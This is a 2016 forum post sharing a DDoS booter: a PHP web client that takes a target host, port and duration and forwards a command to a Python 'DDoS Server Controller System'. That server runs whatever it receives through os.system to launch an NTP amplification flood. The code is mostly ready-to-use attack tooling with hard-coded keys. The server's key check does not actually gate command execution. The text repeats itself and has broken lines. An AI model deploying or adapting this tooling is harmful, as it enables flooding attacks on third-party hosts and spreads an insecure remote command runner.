Mar 4, 2016 04:19 AM
(This post was last modified: Mar 4, 2016 04:23 AM by ZeeYee.)
I originally released a version that was not very secure, this is the more secure version.
I did not put in my encryption methods. I will keep that one a secret.
Secure version means Escaped CMD Chars, Escaped input to shell, and uses password to verify message.
Client PHP
Set the host to the attack server IP.
Python Server
Put the remote IP of the attack server as host
I did not put in my encryption methods. I will keep that one a secret.
Secure version means Escaped CMD Chars, Escaped input to shell, and uses password to verify message.
Client PHP
Set the host to the attack server IP.
PHP Code
<?php
//Get Variables
$r_host = escapeshellcmd($_GET['host']);
$r_port = escapeshellcmd($_GET['port']);
$time = escapeshellcmd($_GET['time']);
//Check Key
$key = explode(",","keytwo,foxel,fitz123qwe");
if (!in_array($_GET['key'],$key)){
print "Wrong Key.";
die();
}
//Connection Variables
$secretKey = "mypassword";
$host = "123.123.123.123";
$port = 81;
#Packet
$output = "screen -dmS lel ./ntp '".$r_host."' '".$r_port."' ntp.txt 1 4000 '".$time."'";
print $output;
$koutput = $secretKey.",".$output;
#Send Packet over Socket
$socket1 = socket_create(AF_INET, SOCK_STREAM,0) or die("Could not create sock
\n");
socket_connect ($socket1 , $host,$port ) ;
socket_write($socket1, $koutput, strlen ($koutput)) or die("Could not write ou
ut\n");
socket_close($socket1) ;
?>Python Server
Put the remote IP of the attack server as host
PHP Code
<?php
import socket, os, sys
#Initilize Variables
buf = 0
i = 0
secretKey = "mypassword"
#Initilize Socket
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Bing Socket
serversocket.bind(('123.123.123.123', 81))
#Listen to Socket
serversocket.listen(5) # become a server socket, maximum 5 connections
#Output Program Title to Screen
print "220 DDoS Server Controller System"
#Loop forever
while True:
#Compare buf variable and zero
if buf != 0:
if buf[:len(secretKey)] == secretKey:
newbuf = buf.split(",")
print "Executing: "+str(newbuf[1])
else:
print "Key Denied"
print buf[:len(secretKey)] + "-" + secretKey
os.system(str(newbuf[1]))
buf = 0
while True:
connection, address = serversocket.accept()
buf = connection.recv(128)
if len(buf) > 0:
break

